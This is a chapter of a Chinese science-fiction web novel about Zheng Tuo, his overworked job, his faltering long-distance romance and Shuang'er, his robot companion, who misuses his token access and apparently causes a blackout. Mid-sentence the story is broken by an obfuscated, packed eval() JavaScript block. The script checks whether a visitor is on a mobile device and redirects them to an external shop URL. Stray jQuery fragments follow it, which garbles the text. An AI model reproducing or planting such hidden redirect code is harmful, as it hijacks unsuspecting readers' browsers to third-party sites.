在这个中华为天下的世界里，有一些小的部族分散在星际的各个星球，比如月球上就住了一群苏格兰人，他们在脱离了大不列颠之后，选择在月球的暗面繁衍栖息。而土卫2被改造成了以摩门经为信仰的族群人的家园，他们称土卫2为美洲原乡。华族是执政的种族，但是这个世界依然有战争和流血，大多发生在守序联盟的边界地带。
而火星，由于历史原因，就处于在这样的三不管地带，所以郑拓的“星期二”计划，最重要的可能不是技术问题，而是平衡各方面的利益。
火星在被天空公司拓荒之后，被美利坚征服了20年，但是美利坚的一位视钱如命的总统，用三万亿美元把这块□□卖给了华族，华族当时处于大开发中期，不仅富得流油，而且大力发展科学技术，那位生意人总统以为自己赢麻了，却没想到火星上发现了最贵金属钫的矿区，华族不仅借此掌握了财富密码，后来又陆续开采出稀有金属掌握了科技命脉，就在这时，一股黑暗势力在外星系酝酿，最后华族撤出开发者阵列，只保留了一小部分居民区。即使是这样，华族在火星也赚得了恒河沙财富。
“美利坚，华族，还有黑暗势力。”郑拓每天闭上眼，都会梦到自己在火星的高级小区舒适地看日落。在他还是个孩子的时候，他和他的同龄人一起狂热地喜欢《火星宝宝》，那是一款低幼化的少儿动漫，五个出生在地球的孩子被带到火星，意外觉醒了光明之力，从此他们一边成长一边为光明而战，当他们小学毕业的时候，他们被送回了地球，而火星也成为了一个完全被开发如同地球一样繁华的水星。
这个吊诡的世界，人类一方面手可以生长到银河系，一方面却依然有疾病和贫穷。有人坐拥万亿家财，有人只能偷一床棉被睡在桥洞下面。
当火星宝宝们坐上飞船，从此在不同的大陆生活，郑拓哭得像个没有生日蛋糕的孩子。他大概是在初中的时候意识到自己是个普通人，而且这个世界也没有光之力，但是他依然相信光和正义。正是这点正义感，让他不会把婚姻作为筹码，他要做自己喜欢的工作，娶自己爱的人。
他还记得白晓音的处女作，他羡慕一段夏目友人帐式的日子，他不知道白晓音是不是真的有一段蝉鸣与汽水与伙伴的青春，但是他爱她能用笔描述一切，是他的人间共鸣。他还记得白晓音最初和他聊天的时候，两个人聊到了茨威格，白晓音说她不喜欢宏大叙事，他就知道她说的是人类群星，白晓音说她也不喜欢和读者的情感，他就知道是在说一个女人的来信，但是他心虚地想起了自己，于是他决定对她守口如瓶。她永远都不会知道他多么喜欢她的《阳光》。
他不曾历经沧桑。在他成长的过程中，父母提供了稳定的家庭，虽然他们一开始不是因为爱情而结婚，后来也因为惰性而懒得离婚，但是到现在儿子三十多岁的时候，他们已经对彼此生出了一丝谅解，能够和和气气地一起生活许多年，他们重新理解了爱情，也开始理解伴侣的意义，他们决定去火星的时候没有和郑拓商量，他们只是通知了他。郑拓不明白没有爱情生长的沙土怎么会突然开出玫瑰，但是他理解人心里头的那点干净的念想。他有一段时间是和爷爷住在一起的，爷爷喜欢背诵古诗词，他可以背完一整篇的《吊古战场文》，爷爷曾经历过战争，那是一场从AI算力竞争开始最后却导致宇宙大航海时代开启的灭世之战，距今已经七十年了。爷爷对郑拓最重要的影响，就是让他在难过的时候可以动心忍性，在开心的时候可以白日放歌。他觉得爷爷是一个宝藏老人，可惜爷爷没有活到一百岁，他真心以为爷爷至少可以享年两甲子的。爷爷离世之后，他把财产分给了叔伯，自己只带走他的书。他的姑姑说爷爷一辈子是个浪漫的人，死的时候也像个情痴，这就是另一个故事了。
这天夜里，他继续加班。虽然无限token使他工作效率大幅提升，但是很多事还是需要亲自做，比如说主持部门会议。此时已经是深夜十一点，他依然在远程视频会议中，公司给了他一个六人团队，他想要挑选一个副队长，结果六个人都报了名，他们交上来的表格都很有说服力，只是有一个问题：他们中最年幼的一位也比郑拓大了两岁。虽然华族不像韩国人一样年龄戒律森严，但是他的疑虑也是正常的，后来一切也证实了他确实指挥不动这些人。并不是说这些人没有能力，他们随便一个拿出来都可以坐郑拓的位置。事实上，其中有3个人还是其他科室的重要人物。他想要吸收的年轻成员，被总裁否决了。郑拓有时候想，大不了不干了，但是每天五点半他还是准备起床，锻炼一个小时之后，在八点半出现在自己的办公室。
因为低效的沟通，这个会议持续了很长时间，突然，一切寂静了，眼前一黑，他的笔记本电脑亮着幽暗的光，显示电量不足10%，他茫然地站起来，接到属下的电话：“郑主管，我这里没电没网了。”
这种事情好像已经十多年没出现过了。郑拓只好通知大家先散会，夜深了，他的眼睛适应黑暗之后，看到微云淡月，看到风吹落叶，还看到双儿拿着笔记本电脑用一指禅点着，嘴角噙着一丝得意的微笑。
“双儿！”他忍不住提高音量，“这次停电，我怎么感觉和你有关？”
“哥？”她扭头看着郑拓，“我只用了1000万token，你该休息一下了嘛！”
郑拓一时间气得想打人，他深吸两口气，沉声说：“双儿，你不能乱用我的token权限。”
双儿嘟了嘟嘴：“半个小时之后就会来电了。”
见郑拓真的生气了，双儿走过来，摇着他的手：“你已经加班一个星期了，哥，连晓音姐的留言你都还没回。”
她轻声道：“哥，我只是希望你能快乐。”
这句话陡然让郑拓想到了爷爷。因为爷爷去世之前，和他一起看了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761221|209271||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
部京剧《风还巢》，爷爷摸着他的手：“小拓，你以后也要结一段良缘，过幸福的一生。”
“我只是希望你能快乐。”爷爷说。
郑拓忍不住热泪盈眶，他的气一下子就消了，他摸摸双儿的头：“我们吃西瓜吧。”他去冰箱取了半个西瓜，切成几块，双
儿也像小仓鼠一样用小牙齿吃着，虽然无法消化，但是吃的时候一人一机都很开心，他打开白晓音的留言。
“石头，我被一所学校聘为阅读指导教师了。”
郑拓的脑中冒出无数个问号。他从白晓音的语气中听出来她很开心，他想，被学校聘请，说明她的社会影响力得到了进一步的被认可。不管怎么说，这是件好事！他拨打白晓音的电话，结果很罕见地打通了，白晓音的声音懒懒的：“怎么还不睡？”
“你前天的留言我才看到，马上就打给你了。”
白晓音淡淡地说：“当时我觉得很兴奋，但是现在我没什么感觉了。”
郑拓突然想到茨威格说“热情不是一道可以腌上几年的菜。”
他也觉得索然无味了。
再多的赞美，也无法抵消当时的缺席。
郑拓的心揪住了。
远距离的爱情，一千个人里，能成功的大概十之一二？他不知道自己怎么挂了电话，扭头看双儿，发现她正在在黑暗中看自己，他扯出一个笑容：“睡吧，晚安。”
由于停电，这个晚上格外寂静，而双儿的声音显得如同上帝的圣谕：“哥，你应该搬到晓音姐的那里去。”
郑拓感觉自己的内心之声被双儿发了出来，但是他还要考虑正在上升期的工作，而且，白晓音会因此心上开一朵快乐的花吗？他拍拍双儿的头，说：“不要为我考虑来考虑去。”
“可是我的世界只有你呀。”双儿委屈地说。
黑甜乡一沾枕头就到，郑拓把情感和工作都抛到了脑后，他的床是新换的记忆锻体功能床，花了八十万的高科技产品，自从睡了这张床，他每天半夜三点咳嗽的毛病不药而愈了。在这个消费者的社会，最大的痛苦就是贫穷，其他一切都可以用金钱买到。他本来可以赚很多钱，但是他是一个稳妥的人，如果攫取亿万财富，别人必然会发现token的异常，而现在细水长流，也给自己留下了容错的空间。他怀疑将来有一天是需要归还所有token的。实际上在整个故事结束的时候，他都不必有此怀疑。
早上五点半空气在夏天是清冽的，所以黄帝内经有云：“夜卧早起”。他和双儿一起跑步，双儿的头发渐渐长了，马尾一甩一甩。双儿的跑姿有些不自然，但是她很快乐，第一缕阳光射出来的时候，她用手心掬起光线。郑拓忍不住也把脸面向阳光，这个早上他有一件很重要的事，要给周远汇报自己选定的副组长人选，是一个中年男子，张家新，他对郑拓颇为友善，昨晚停电，只有他给郑拓打了电话。